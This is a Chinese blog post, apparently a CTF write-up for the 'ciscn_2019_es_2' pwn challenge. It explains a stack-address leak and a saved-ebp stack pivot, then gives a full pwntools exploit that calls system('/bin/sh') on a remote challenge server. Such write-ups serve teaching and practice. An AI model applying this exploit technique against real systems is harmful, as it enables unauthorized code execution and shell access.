ciscn_2019_es_2

黎 浩然/ 14 6 月, 2022/ PWN, 安全/SECURITY, 计算机/COMPUTER/ 0 comments

这道题是真的扑街。跳到hack函数根本没有用哈哈。只是给你返回flag这个字符串。

回归正题这到题的溢出范围很有限。刚好只能覆盖完vuln函数中的old ebp和返回地址。但是有两次溢出的机会,于此同时会打印两次缓冲区,而且都是printf打印。所以思路如下:

第一次填充非\x00字符刚好到old ebp到位置,然后打印出old ebp从而泄漏出栈的地址。

第二次将需要rop用到的gadget送入缓冲区,然后改变old ebp的值使得其会影响main函数返回时的esp指针的值。因为old ebp的值实际上就是调用main函数时候的ebp。

比较坑的地方就是不能想当然地认为old ebp最终会在main函数即将返回时复制给esp。这里比较坑的就是这个地方。old ebp的值实际上指向某一个栈地址。计算old ebp – 0x04,将这个栈的地址中的值复制给ecx后再通过ecx计算出ret之前的esp。我们就是要控制此时的esp,使其指向我们在缓冲区中构造的rop gadget。

如上图所示,白色的值就是不触发漏洞时main函数返回时esp的值。我们需要构造类似的结果:

Start_buf 可以通过已经泄漏的old_ebp计算出来,如下会缓冲区的输入

因此程序的exp如下:

from pwn import *

#p = process('./ciscn_2019_es_2')
p = remote('node3.buuoj.cn', 27247)
elf = ELF('./ciscn_2019_es_2')

system_plt = elf.plt['system']

# gdb.attach(p)

# leak stack address
p.recvuntil('name?\\n')
p.send(b'a' * 0x28)
p.recvuntil('Hello, ')
p.recv(0x28)

old_ebp = u32(p.recv(4))
print("old_ebp: " + hex(old_ebp))

# send rop to stack, change old_ebp 
# to let main returns to rop
buf_start = old_ebp - 0x38
print('buf_start: ' + hex(buf_start))

payload = p32(system_plt)
payload+= p32(0xabadaaaa)
payload+= p32(buf_start + 0xC)
payload+= b'/bin/sh\\x00'
payload+= p32(buf_start+0x4)
payload+= b'b' * (0x28 - len(payload))
payload+= p32(buf_start+24)

p.send(payload)

p.interactive()
Share this Post

Leave a Comment

您的邮箱地址不会被公开。 必填项已用 * 标注

*
*